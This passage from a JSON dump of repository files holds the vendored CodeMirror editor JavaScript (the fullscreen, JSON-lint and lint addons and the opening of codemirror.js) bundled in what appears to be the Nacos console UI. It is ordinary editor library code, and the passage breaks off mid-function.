    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n(function(mod) {\n  if (typeof exports == \"object\" && typeof module == \"object\") // CommonJS\n    mod(require(\"../../lib/codemirror\"));\n  else if (typeof define == \"function\" && define.amd) // AMD\n    define([\"../../lib/codemirror\"], mod);\n  else // Plain browser env\n    mod(CodeMirror);\n})(function(CodeMirror) {\n  \"use strict\";\n\n  CodeMirror.defineOption(\"fullScreen\", false, function(cm, val, old) {\n    if (old == CodeMirror.Init) old = false;\n    if (!old == !val) return;\n    if (val) setFullscreen(cm);\n    else setNormal(cm);\n  });\n\n  function setFullscreen(cm) {\n    var wrap = cm.getWrapperElement();\n    cm.state.fullScreenRestore = {scrollTop: window.pageYOffset, scrollLeft: window.pageXOffset,\n                                  width: wrap.style.width, height: wrap.style.height};\n    wrap.style.width = \"\";\n    wrap.style.height = \"auto\";\n    wrap.className += \" CodeMirror-fullscreen\";\n    document.documentElement.style.overflow = \"hidden\";\n    cm.refresh();\n  }\n\n  function setNormal(cm) {\n    var wrap = cm.getWrapperElement();\n    wrap.className = wrap.className.replace(/\\s*CodeMirror-fullscreen\\b/, \"\");\n    document.documentElement.style.overflow = \"\";\n    var info = cm.state.fullScreenRestore;\n    wrap.style.width = info.width; wrap.style.height = info.height;\n    window.scrollTo(info.scrollLeft, info.scrollTop);\n    cm.refresh();\n  }\n});\n"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/codemirror.addone.json-lint.js",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n// Depends on jsonlint.js from https://github.com/zaach/jsonlint\n\n// declare global: jsonlint\n\n(function(mod) {\n  if (typeof exports == \"object\" && typeof module == \"object\") // CommonJS\n    mod(require(\"../../lib/codemirror\"));\n  else if (typeof define == \"function\" && define.amd) // AMD\n    define([\"../../lib/codemirror\"], mod);\n  else // Plain browser env\n    mod(CodeMirror);\n})(function(CodeMirror) {\n\"use strict\";\n\nCodeMirror.registerHelper(\"lint\", \"json\", function(text) {\n  var found = [];\n  jsonlint.parseError = function(str, hash) {\n    var loc = hash.loc;\n    found.push({from: CodeMirror.Pos(loc.first_line - 1, loc.first_column),\n                to: CodeMirror.Pos(loc.last_line - 1, loc.last_column),\n                message: str});\n  };\n  try { jsonlint.parse(text); }\n  catch(e) {}\n  return found;\n});\n\n});\n"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/codemirror.addone.lint.js",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n(function(mod) {\n  if (typeof exports == \"object\" && typeof module == \"object\") // CommonJS\n    mod(require(\"../../lib/codemirror\"));\n  else if (typeof define == \"function\" && define.amd) // AMD\n    define([\"../../lib/codemirror\"], mod);\n  else // Plain browser env\n    mod(CodeMirror);\n})(function(CodeMirror) {\n  \"use strict\";\n  var GUTTER_ID = \"CodeMirror-lint-markers\";\n\n  function showTooltip(e, content) {\n    var tt = document.createElement(\"div\");\n    tt.className = \"CodeMirror-lint-tooltip\";\n    tt.appendChild(content.cloneNode(true));\n    document.body.appendChild(tt);\n\n    function position(e) {\n      if (!tt.parentNode) return CodeMirror.off(document, \"mousemove\", position);\n      tt.style.top = Math.max(0, e.clientY - tt.offsetHeight - 5) + \"px\";\n      tt.style.left = (e.clientX + 5) + \"px\";\n    }\n    CodeMirror.on(document, \"mousemove\", position);\n    position(e);\n    if (tt.style.opacity != null) tt.style.opacity = 1;\n    return tt;\n  }\n  function rm(elt) {\n    if (elt.parentNode) elt.parentNode.removeChild(elt);\n  }\n  function hideTooltip(tt) {\n    if (!tt.parentNode) return;\n    if (tt.style.opacity == null) rm(tt);\n    tt.style.opacity = 0;\n    setTimeout(function() { rm(tt); }, 600);\n  }\n\n  function showTooltipFor(e, content, node) {\n    var tooltip = showTooltip(e, content);\n    function hide() {\n      CodeMirror.off(node, \"mouseout\", hide);\n      if (tooltip) { hideTooltip(tooltip); tooltip = null; }\n    }\n    var poll = setInterval(function() {\n      if (tooltip) for (var n = node;; n = n.parentNode) {\n        if (n && n.nodeType == 11) n = n.host;\n        if (n == document.body) return;\n        if (!n) { hide(); break; }\n      }\n      if (!tooltip) return clearInterval(poll);\n    }, 400);\n    CodeMirror.on(node, \"mouseout\", hide);\n  }\n\n  function LintState(cm, options, hasGutter) {\n    this.marked = [];\n    this.options = options;\n    this.timeout = null;\n    this.hasGutter = hasGutter;\n    this.onMouseOver = function(e) { onMouseOver(cm, e); };\n    this.waitingFor = 0\n  }\n\n  function parseOptions(_cm, options) {\n    if (options instanceof Function) return {getAnnotations: options};\n    if (!options || options === true) options = {};\n    return options;\n  }\n\n  function clearMarks(cm) {\n    var state = cm.state.lint;\n    if (state.hasGutter) cm.clearGutter(GUTTER_ID);\n    for (var i = 0; i < state.marked.length; ++i)\n      state.marked[i].clear();\n    state.marked.length = 0;\n  }\n\n  function makeMarker(labels, severity, multiple, tooltips) {\n    var marker = document.createElement(\"div\"), inner = marker;\n    marker.className = \"CodeMirror-lint-marker-\" + severity;\n    if (multiple) {\n      inner = marker.appendChild(document.createElement(\"div\"));\n      inner.className = \"CodeMirror-lint-marker-multiple\";\n    }\n\n    if (tooltips != false) CodeMirror.on(inner, \"mouseover\", function(e) {\n      showTooltipFor(e, labels, inner);\n    });\n\n    return marker;\n  }\n\n  function getMaxSeverity(a, b) {\n    if (a == \"error\") return a;\n    else return b;\n  }\n\n  function groupByLine(annotations) {\n    var lines = [];\n    for (var i = 0; i < annotations.length; ++i) {\n      var ann = annotations[i], line = ann.from.line;\n      (lines[line] || (lines[line] = [])).push(ann);\n    }\n    return lines;\n  }\n\n  function annotationTooltip(ann) {\n    var severity = ann.severity;\n    if (!severity) severity = \"error\";\n    var tip = document.createElement(\"div\");\n    tip.className = \"CodeMirror-lint-message-\" + severity;\n    tip.appendChild(document.createTextNode(ann.message));\n    return tip;\n  }\n\n  function lintAsync(cm, getAnnotations, passOptions) {\n    var state = cm.state.lint\n    var id = ++state.waitingFor\n    function abort() {\n      id = -1\n      cm.off(\"change\", abort)\n    }\n    cm.on(\"change\", abort)\n    getAnnotations(cm.getValue(), function(annotations, arg2) {\n      cm.off(\"change\", abort)\n      if (state.waitingFor != id) return\n      if (arg2 && annotations instanceof CodeMirror) annotations = arg2\n      updateLinting(cm, annotations)\n    }, passOptions, cm);\n  }\n\n  function startLinting(cm) {\n    var state = cm.state.lint, options = state.options;\n    var passOptions = options.options || options; // Support deprecated passing of `options` property in options\n    var getAnnotations = options.getAnnotations || cm.getHelper(CodeMirror.Pos(0, 0), \"lint\");\n    if (!getAnnotations) return;\n    if (options.async || getAnnotations.async) {\n      lintAsync(cm, getAnnotations, passOptions)\n    } else {\n      updateLinting(cm, getAnnotations(cm.getValue(), passOptions, cm));\n    }\n  }\n\n  function updateLinting(cm, annotationsNotSorted) {\n    clearMarks(cm);\n    var state = cm.state.lint, options = state.options;\n\n    var annotations = groupByLine(annotationsNotSorted);\n\n    for (var line = 0; line < annotations.length; ++line) {\n      var anns = annotations[line];\n      if (!anns) continue;\n\n      var maxSeverity = null;\n      var tipLabel = state.hasGutter && document.createDocumentFragment();\n\n      for (var i = 0; i < anns.length; ++i) {\n        var ann = anns[i];\n        var severity = ann.severity;\n        if (!severity) severity = \"error\";\n        maxSeverity = getMaxSeverity(maxSeverity, severity);\n\n        if (options.formatAnnotation) ann = options.formatAnnotation(ann);\n        if (state.hasGutter) tipLabel.appendChild(annotationTooltip(ann));\n\n        if (ann.to) state.marked.push(cm.markText(ann.from, ann.to, {\n          className: \"CodeMirror-lint-mark-\" + severity,\n          __annotation: ann\n        }));\n      }\n\n      if (state.hasGutter)\n        cm.setGutterMarker(line, GUTTER_ID, makeMarker(tipLabel, maxSeverity, anns.length > 1,\n                                                       state.options.tooltips));\n    }\n    if (options.onUpdateLinting) options.onUpdateLinting(annotationsNotSorted, annotations, cm);\n  }\n\n  function onChange(cm) {\n    var state = cm.state.lint;\n    if (!state) return;\n    clearTimeout(state.timeout);\n    state.timeout = setTimeout(function(){startLinting(cm);}, state.options.delay || 500);\n  }\n\n  function popupTooltips(annotations, e) {\n    var target = e.target || e.srcElement;\n    var tooltip = document.createDocumentFragment();\n    for (var i = 0; i < annotations.length; i++) {\n      var ann = annotations[i];\n      tooltip.appendChild(annotationTooltip(ann));\n    }\n    showTooltipFor(e, tooltip, target);\n  }\n\n  function onMouseOver(cm, e) {\n    var target = e.target || e.srcElement;\n    if (!/\\bCodeMirror-lint-mark-/.test(target.className)) return;\n    var box = target.getBoundingClientRect(), x = (box.left + box.right) / 2, y = (box.top + box.bottom) / 2;\n    var spans = cm.findMarksAt(cm.coordsChar({left: x, top: y}, \"client\"));\n\n    var annotations = [];\n    for (var i = 0; i < spans.length; ++i) {\n      annotations.push(spans[i].__annotation);\n    }\n    if (annotations.length) popupTooltips(annotations, e);\n  }\n\n  CodeMirror.defineOption(\"lint\", false, function(cm, val, old) {\n    if (old && old != CodeMirror.Init) {\n      clearMarks(cm);\n      if (cm.state.lint.options.lintOnChange !== false)\n        cm.off(\"change\", onChange);\n      CodeMirror.off(cm.getWrapperElement(), \"mouseover\", cm.state.lint.onMouseOver);\n      clearTimeout(cm.state.lint.timeout);\n      delete cm.state.lint;\n    }\n\n    if (val) {\n      var gutters = cm.getOption(\"gutters\"), hasLintGutter = false;\n      for (var i = 0; i < gutters.length; ++i) if (gutters[i] == GUTTER_ID) hasLintGutter = true;\n      var state = cm.state.lint = new LintState(cm, parseOptions(cm, val), hasLintGutter);\n      if (state.options.lintOnChange !== false)\n        cm.on(\"change\", onChange);\n      if (state.options.tooltips != false)\n        CodeMirror.on(cm.getWrapperElement(), \"mouseover\", state.onMouseOver);\n\n      startLinting(cm);\n    }\n  });\n\n  CodeMirror.defineExtension(\"performLint\", function() {\n    if (this.state.lint) startLinting(this);\n  });\n});\n"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/codemirror.js",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n// This is CodeMirror (http://codemirror.net), a code editor\n// implemented in JavaScript on top of the browser's DOM.\n//\n// You can find some technical background for some of the code below\n// at http://marijnhaverbeke.nl/blog/#cm-internals .\n\n(function (global, factory) {\n\ttypeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() :\n\ttypeof define === 'function' && define.amd ? define(factory) :\n\t(global.CodeMirror = factory());\n}(this, (function () { 'use strict';\n\n// Kludges for bugs and behavior differences that can't be feature\n// detected are enabled based on userAgent etc sniffing.\nvar userAgent = navigator.userAgent;\nvar platform = navigator.platform;\n\nvar gecko = /gecko\\/\\d/i.test(userAgent);\nvar ie_upto10 = /MSIE \\d/.test(userAgent);\nvar ie_11up = /Trident\\/(?:[7-9]|\\d{2,})\\..*rv:(\\d+)/.exec(userAgent);\nvar edge = /Edge\\/(\\d+)/.exec(userAgent);\nvar ie = ie_upto10 || ie_11up || edge;\nvar ie_version = ie && (ie_upto10 ? document.documentMode || 6 : +(edge || ie_11up)[1]);\nvar webkit = !edge && /WebKit\\//.test(userAgent);\nvar qtwebkit = webkit && /Qt\\/\\d+\\.\\d+/.test(userAgent);\nvar chrome = !edge && /Chrome\\//.test(userAgent);\nvar presto = /Opera\\//.test(userAgent);\nvar safari = /Apple Computer/.test(navigator.vendor);\nvar mac_geMountainLion = /Mac OS X 1\\d\\D([8-9]|\\d\\d)\\D/.test(userAgent);\nvar phantom = /PhantomJS/.test(userAgent);\n\nvar ios = !edge && /AppleWebKit/.test(userAgent) && /Mobile\\/\\w+/.test(userAgent);\nvar android = /Android/.test(userAgent);\n// This is woefully incomplete. Suggestions for alternative methods welcome.\nvar mobile = ios || android || /webOS|BlackBerry|Opera Mini|Opera Mobi|IEMobile/i.test(userAgent);\nvar mac = ios || /Mac/.test(platform);\nvar chromeOS = /\\bCrOS\\b/.test(userAgent);\nvar windows = /win/i.test(platform);\n\nvar presto_version = presto && userAgent.match(/Version\\/(\\d*\\.\\d*)/);\nif (presto_version) { presto_version = Number(presto_version[1]); }\nif (presto_version && presto_version >= 15) { presto = false; webkit = true; }\n// Some browsers use the wrong event properties to signal cmd/ctrl on OS X\nvar flipCtrlCmd = mac && (qtwebkit || presto && (presto_version == null || presto_version < 12.11));\nvar captureRightClick = gecko || (ie && ie_version >= 9);\n\nfunction classTest(cls) { return new RegExp(\"(^|\\\\s)\" + cls + \"(?:$|\\\\s)\\\\s*\") }\n\nvar rmClass = function(node, cls) {\n  var current = node.className;\n  var match = classTest(cls).exec(current);\n  if (match) {\n    var after = current.slice(match.index + match[0].length);\n    node.className = current.slice(0, match.index) + (after ? match[1] + after : \"\");\n  }\n};\n\nfunction removeChildren(e) {\n  for (var count = e.childNodes.length; count > 0; --count)\n    { e.removeChild(e.firstChild); }\n  return e\n}\n\nfunction removeChildrenAndAdd(parent, e) {\n  return removeChildren(parent).appendChild(e)\n}\n\nfunction elt(tag, content, className, style) {\n  var e = document.createElement(tag);\n  if (className) { e.className = className; }\n  if (style) { e.style.cssText = style; }\n  if (typeof content == \"string\") { e.appendChild(document.createTextNode(content)); }\n  else if (content) { for (var i = 0; i < content.length; ++i) { e.appendChild(content[i]); } }\n  return e\n}\n// wrapper for elt, which removes the elt from the accessibility tree\nfunction eltP(tag, content, className, style) {\n  var e = elt(tag, content, className, style);\n  e.setAttribute(\"role\", \"presentation\");\n  return e\n}\n\nvar range;\nif (document.createRange) { range = function(node, start, end, endNode) {\n  var r = document.createRange();\n  r.setEnd(endNode || node, end);\n  r.setStart(node, start);\n  return r\n}; }\nelse { range = function(node, start, end) {\n  var r = document.body.createTextRange();\n  try { r.moveToElementText(node.parentNode); }\n  catch(e) { return r }\n  r.collapse(true);\n  r.moveEnd(\"character\", end);\n  r.moveStart(\"character\", start);\n  return r\n}; }\n\nfunction contains(parent, child) {\n  if (child.nodeType == 3) // Android browser always returns false when child is a textnode\n    { child = child.parentNode; }\n  if (parent.contains)\n    { return parent.contains(child) }\n  do {\n    if (child.nodeType == 11) { child = child.host; }\n    if (child == parent) { return true }\n  } while (child = child.parentNode)\n}\n\nfunction activeElt() {\n  // IE and Edge may throw an \"Unspecified Error\" when accessing document.activeElement.\n  // IE < 10 will throw when accessed while the page is loading or in an iframe.\n  // IE > 9 and Edge will throw when accessed in an iframe if document.body is unavailable.\n  var activeElement;\n  try {\n    activeElement = document.activeElement;\n  } catch(e) {\n    activeElement = document.body || null;\n  }\n  while (activeElement && activeElement.shadowRoot && activeElement.shadowRoot.activeElement)\n    { activeElement = activeElement.shadowRoot.activeElement; }\n  return activeElement\n}\n\nfunction addClass(node, cls) {\n  var current = node.className;\n  if (!classTest(cls).test(current)) { node.className += (current ? \" \" : \"\") + cls; }\n}\nfunction joinClasses(a, b) {\n  var as = a.split(\" \");\n  for (var i = 0; i < as.length; i++)\n    { if (as[i] && !classTest(as[i]).test(b)) { b += \" \" + as[i]; } }\n  return b\n}\n\nvar selectInput = function(node) { node.select(); };\nif (ios) // Mobile Safari apparently has a bug where select() is broken.\n  { selectInput = function(node) { node.selectionStart = 0; node.selectionEnd = node.value.length; }; }\nelse if (ie) // Suppress mysterious IE10 errors\n  { selectInput = function(node) { try { node.select(); } catch(_e) {} }; }\n\nfunction bind(f) {\n  var args = Array.prototype.slice.call(arguments, 1);\n  return function(){return f.apply(null, args)}\n}\n\nfunction copyObj(obj, target, overwrite) {\n  if (!target) { target = {}; }\n  for (var prop in obj)\n    { if (obj.hasOwnProperty(prop) && (overwrite !== false || !target.hasOwnProperty(prop)))\n      { target[prop] = obj[prop]; } }\n  return target\n}\n\n// Counts the column offset in a string, taking tabs into account.\n// Used mostly to find indentation.\nfunction countColumn(string, end, tabSize, startIndex, startValue) {\n  if (end == null) {\n    end = string.search(/[^\\s\\u00a0]/);\n    if (end == -1) { end = string.length; }\n  }\n  for (var i = startIndex || 0, n = startValue || 0;;) {\n    var nextTab = string.indexOf(\"\\t\", i);\n    if (nextTab < 0 || nextTab >= end)\n      { return n + (end - i) }\n    n += nextTab - i;\n    n += tabSize - (n % tabSize);\n    i = nextTab + 1;\n  }\n}\n\nvar Delayed = function() {this.id = null;};\nDelayed.prototype.set = function (ms, f) {\n  clearTimeout(this.id);\n  this.id = setTimeout(f, ms);\n};\n\nfunction indexOf(array, elt) {\n  for (var i = 0; i < array.length; ++i)\n    { if (array[i] == elt) { return i } }\n  return -1\n}\n\n// Number of pixels added to scroller and sizer to hide scrollbar\nvar scrollerGap = 30;\n\n// Returned or thrown by various protocols to signal 'I'm not\n// handling this'.\nvar Pass = {toString: function(){return \"CodeMirror.Pass\"}};\n\n// Reused option objects for setSelection & friends\nvar sel_dontScroll = {scroll: false};\nvar sel_mouse = {origin: \"*mouse\"};\nvar sel_move = {origin: \"+move\"};\n\n// The inverse of countColumn -- find the offset that corresponds to\n// a particular column.\nfunction findColumn(string, goal, tabSize) {\n  for (var pos = 0, col = 0;;) {\n    var nextTab = string.indexOf(\"\\t\", pos);\n    if (nextTab == -1) { nextTab = string.length; }\n    var skipped = nextTab - pos;\n    if (nextTab == string.length || col + skipped >= goal)\n      { return pos + Math.min(skipped, goal - col) }\n    col += nextTab - pos;\n    col += tabSize - (col % tabSize);\n    pos = nextTab + 1;\n    if (col >= goal) { return pos }\n  }\n}\n\nvar spaceStrs = [\"\"];\nfunction spaceStr(n) {\n  while (spaceStrs.length <= n)\n    { spaceStrs.push(lst(spaceStrs) + \" \"); }\n  return spaceStrs[n]\n}\n\nfunction lst(arr) { return arr[arr.length-1] }\n\nfunction map(array, f) {\n  var out = [];\n  for (var i = 0; i < array.length; i++) { out[i] = f(array[i], i); }\n  return out\n}\n\nfunction insertSorted(array, value, score) {\n  var pos = 0, priority = score(value);\n  while (pos < array.length && score(array[pos]) <= priority) { pos++; }\n  array.splice(pos, 0, value);\n}\n\nfunction nothing() {}\n\nfunction createObj(base, props) {\n  var inst;\n  if (Object.create) {\n    inst = Object.create(base);\n  } else {\n    nothing.prototype = base;\n    inst = new nothing();\n  }\n  if (props) { copyObj(props, inst); }\n  return inst\n}\n\nvar nonASCIISingleCaseWordChar = /[\\u00df\\u0587\\u0590-\\u05f4\\u0600-\\u06ff\\u3040-\\u309f\\u30a0-\\u30ff\\u3400-\\u4db5\\u4e00-\\u9fcc\\uac00-\\ud7af]/;\nfunction isWordCharBasic(ch) {\n  return /\\w/.test(ch) || ch > \"\\x80\" &&\n    (ch.toUpperCase() != ch.toLowerCase() || nonASCIISingleCaseWordChar.test(ch))\n}\nfunction isWordChar(ch, helper) {\n  if (!helper) { return isWordCharBasic(ch) }\n  if (helper.source.indexOf(\"\\\\w\") > -1 && isWordCharBasic(ch)) { return true }\n  return helper.test(ch)\n}\n\nfunction isEmpty(obj) {\n  for (var n in obj) { if (obj.hasOwnProperty(n) && obj[n]) { return false } }\n  return true\n}\n\n// Extending unicode characters. A series of a non-extending char +\n// any number of extending chars is treated as a single unit as far\n// as editing and measuring is concerned. This is not fully correct,\n// since some scripts/fonts/browsers also treat other configurations\n// of code points as a group.\nvar extendingChars = /[\\u0300-\\u036f\\u0483-\\u0489\\u0591-\\u05bd\\u05bf\\u05c1\\u05c2\\u05c4\\u05c5\\u05c7\\u0610-\\u061a\\u064b-\\u065e\\u0670\\u06d6-\\u06dc\\u06de-\\u06e4\\u06e7\\u06e8\\u06ea-\\u06ed\\u0711\\u0730-\\u074a\\u07a6-\\u07b0\\u07eb-\\u07f3\\u0816-\\u0819\\u081b-\\u0823\\u0825-\\u0827\\u0829-\\u082d\\u0900-\\u0902\\u093c\\u0941-\\u0948\\u094d\\u0951-\\u0955\\u0962\\u0963\\u0981\\u09bc\\u09be\\u09c1-\\u09c4\\u09cd\\u09d7\\u09e2\\u09e3\\u0a01\\u0a02\\u0a3c\\u0a41\\u0a42\\u0a47\\u0a48\\u0a4b-\\u0a4d\\u0a51\\u0a70\\u0a71\\u0a75\\u0a81\\u0a82\\u0abc\\u0ac1-\\u0ac5\\u0ac7\\u0ac8\\u0acd\\u0ae2\\u0ae3\\u0b01\\u0b3c\\u0b3e\\u0b3f\\u0b41-\\u0b44\\u0b4d\\u0b56\\u0b57\\u0b62\\u0b63\\u0b82\\u0bbe\\u0bc0\\u0bcd\\u0bd7\\u0c3e-\\u0c40\\u0c46-\\u0c48\\u0c4a-\\u0c4d\\u0c55\\u0c56\\u0c62\\u0c63\\u0cbc\\u0cbf\\u0cc2\\u0cc6\\u0ccc\\u0ccd\\u0cd5\\u0cd6\\u0ce2\\u0ce3\\u0d3e\\u0d41-\\u0d44\\u0d4d\\u0d57\\u0d62\\u0d63\\u0dca\\u0dcf\\u0dd2-\\u0dd4\\u0dd6\\u0ddf\\u0e31\\u0e34-\\u0e3a\\u0e47-\\u0e4e\\u0eb1\\u0eb4-\\u0eb9\\u0ebb\\u0ebc\\u0ec8-\\u0ecd\\u0f18\\u0f19\\u0f35\\u0f37\\u0f39\\u0f71-\\u0f7e\\u0f80-\\u0f84\\u0f86\\u0f87\\u0f90-\\u0f97\\u0f99-\\u0fbc\\u0fc6\\u102d-\\u1030\\u1032-\\u1037\\u1039\\u103a\\u103d\\u103e\\u1058\\u1059\\u105e-\\u1060\\u1071-\\u1074\\u1082\\u1085\\u1086\\u108d\\u109d\\u135f\\u1712-\\u1714\\u1732-\\u1734\\u1752\\u1753\\u1772\\u1773\\u17b7-\\u17bd\\u17c6\\u17c9-\\u17d3\\u17dd\\u180b-\\u180d\\u18a9\\u1920-\\u1922\\u1927\\u1928\\u1932\\u1939-\\u193b\\u1a17\\u1a18\\u1a56\\u1a58-\\u1a5e\\u1a60\\u1a62\\u1a65-\\u1a6c\\u1a73-\\u1a7c\\u1a7f\\u1b00-\\u1b03\\u1b34\\u1b36-\\u1b3a\\u1b3c\\u1b42\\u1b6b-\\u1b73\\u1b80\\u1b81\\u1ba2-\\u1ba5\\u1ba8\\u1ba9\\u1c2c-\\u1c33\\u1c36\\u1c37\\u1cd0-\\u1cd2\\u1cd4-\\u1ce0\\u1ce2-\\u1ce8\\u1ced\\u1dc0-\\u1de6\\u1dfd-\\u1dff\\u200c\\u200d\\u20d0-\\u20f0\\u2cef-\\u2cf1\\u2de0-\\u2dff\\u302a-\\u302f\\u3099\\u309a\\ua66f-\\ua672\\ua67c\\ua67d\\ua6f0\\ua6f1\\ua802\\ua806\\ua80b\\ua825\\ua826\\ua8c4\\ua8e0-\\ua8f1\\ua926-\\ua92d\\ua947-\\ua951\\ua980-\\ua982\\ua9b3\\ua9b6-\\ua9b9\\ua9bc\\uaa29-\\uaa2e\\uaa31\\uaa32\\uaa35\\uaa36\\uaa43\\uaa4c\\uaab0\\uaab2-\\uaab4\\uaab7\\uaab8\\uaabe\\uaabf\\uaac1\\uabe5\\uabe8\\uabed\\udc00-\\udfff\\ufb1e\\ufe00-\\ufe0f\\ufe20-\\ufe26\\uff9e\\uff9f]/;\nfunction isExtendingChar(ch) { return ch.charCodeAt(0) >= 768 && extendingChars.test(ch) }\n\n// Returns a number from the range [`0`; `str.length`] unless `pos` is outside that range.\nfunction skipExtendingChars(str, pos, dir) {\n  while ((dir < 0 ? pos > 0 : pos < str.length) && isExtendingChar(str.charAt(pos))) { pos += dir; }\n  return pos\n}\n\n// Returns the value from the range [`from`; `to`] that satisfies\n// `pred` and is closest to `from`. Assumes that at least `to` satisfies `pred`.\nfunction findFirst(pred, from, to) {\n  for (;;) {\n    if (Math.abs(from - to) <= 1) { return pred(from) ? from : to }\n    var mid = Math.floor((from + to) / 2);\n    if (pred(mid)) { to = mid; }\n    else { from = mid; }\n  }\n}\n\n// The display handles the DOM integration, both for input reading\n// and content drawing. It holds references to DOM nodes and\n// display-related state.\n\nfunction Display(place, doc, input) {\n  var d = this;\n  this.input = input;\n\n  // Covers bottom-right square when both scrollbars are present.\n  d.scrollbarFiller = elt(\"div\", null, \"CodeMirror-scrollbar-filler\");\n  d.scrollbarFiller.setAttribute(\"cm-not-content\", \"true\");\n  // Covers bottom of gutter when coverGutterNextToScrollbar is on\n  // and h scrollbar is present.\n  d.gutterFiller = elt(\"div\", null, \"CodeMirror-gutter-filler\");\n  d.gutterFiller.setAttribute(\"cm-not-content\", \"true\");\n  // Will contain the actual code, positioned to cover the viewport.\n  d.lineDiv = eltP(\"div\", null, \"CodeMirror-code\");\n  // Elements are added to these to represent selection and cursors.\n  d.selectionDiv = elt(\"div\", null, null, \"position: relative; z-index: 1\");\n  d.cursorDiv = elt(\"div\", null, \"CodeMirror-cursors\");\n  // A visibility: hidden element used to find the size of things.\n  d.measure = elt(\"div\", null, \"CodeMirror-measure\");\n  // When lines outside of the viewport are measured, they are drawn in this.\n  d.lineMeasure = elt(\"div\", null, \"CodeMirror-measure\");\n  // Wraps everything that needs to exist inside the vertically-padded coordinate system\n  d.lineSpace = eltP(\"div\", [d.measure, d.lineMeasure, d.selectionDiv, d.cursorDiv, d.lineDiv],\n                    null, \"position: relative; outline: none\");\n  var lines = eltP(\"div\", [d.lineSpace], \"CodeMirror-lines\");\n  // Moved around its parent to cover visible view.\n  d.mover = elt(\"div\", [lines], null, \"position: relative\");\n  // Set to the height of the document, allowing scrolling.\n  d.sizer = elt(\"div\", [d.mover], \"CodeMirror-sizer\");\n  d.sizerWidth = null;\n  // Behavior of elts with overflow: auto and padding is\n  // inconsistent across browsers. This is used to ensure the\n  // scrollable area is big enough.\n  d.heightForcer = elt(\"div\", null, null, \"position: absolute; height: \" + scrollerGap + \"px; width: 1px;\");\n  // Will contain the gutters, if any.\n  d.gutters = elt(\"div\", null, \"CodeMirror-gutters\");\n  d.lineGutter = null;\n  // Actual scrollable element.\n  d.scroller = elt(\"div\", [d.sizer, d.heightForcer, d.gutters], \"CodeMirror-scroll\");\n  d.scroller.setAttribute(\"tabIndex\", \"-1\");\n  // The element in which the editor lives.\n  d.wrapper = elt(\"div\", [d.scrollbarFiller, d.gutterFiller, d.scroller], \"CodeMirror\");\n\n  // Work around IE7 z-index bug (not perfect, hence IE7 not really being supported)\n  if (ie && ie_version < 8) { d.gutters.style.zIndex = -1; d.scroller.style.paddingRight = 0; }\n  if (!webkit && !(gecko && mobile)) { d.scroller.draggable = true; }\n\n  if (place) {\n    if (place.appendChild) { place.appendChild(d.wrapper); }\n    else { place(d.wrapper); }\n  }\n\n  // Current rendered range (may be bigger than the view window).\n  d.viewFrom = d.viewTo = doc.first;\n  d.reportedViewFrom = d.reportedViewTo = doc.first;\n  // Information about the rendered lines.\n  d.view = [];\n  d.renderedView = null;\n  // Holds info about a single rendered line when it was rendered\n  // for measurement, while not in view.\n  d.externalMeasured = null;\n  // Empty space (in pixels) above the view\n  d.viewOffset = 0;\n  d.lastWrapHeight = d.lastWrapWidth = 0;\n  d.updateLineNumbers = null;\n\n  d.nativeBarWidth = d.barHeight = d.barWidth = 0;\n  d.scrollbarsClipped = false;\n\n  // Used to only resize the line number gutter when necessary (when\n  // the amount of lines crosses a boundary that makes its width change)\n  d.lineNumWidth = d.lineNumInnerWidth = d.lineNumChars = null;\n  // Set to true when a non-horizontal-scrolling line widget is\n  // added. As an optimization, line widget aligning is skipped when\n  // this is false.\n  d.alignWidgets = false;\n\n  d.cachedCharWidth = d.cachedTextHeight = d.cachedPaddingH = null;\n\n  // Tracks the maximum line length so that the horizontal scrollbar\n  // can be kept static when scrolling.\n  d.maxLine = null;\n  d.maxLineLength = 0;\n  d.maxLineChanged = false;\n\n  // Used for measuring wheel scrolling granularity\n  d.wheelDX = d.wheelDY = d.wheelStartX = d.wheelStartY = null;\n\n  // True when shift is held down.\n  d.shift = false;\n\n  // Used to track whether anything happened since the context menu\n  // was opened.\n  d.selForContextMenu = null;\n\n  d.activeTouch = null;\n\n  input.init(d);\n}\n\n// Find the line object corresponding to the given line number.\nfunction getLine(doc, n) {\n  n -= doc.first;\n  if (n < 0 || n >= doc.size) { throw new Error(\"There is no line \" + (n + doc.first) + \" in the document.\") }\n  var chunk = doc;\n  while (!chunk.lines) {\n    for (var i = 0;; ++i) {\n      var child = chunk.children[i], sz = child.chunkSize();\n      if (n < sz) { chunk = child; 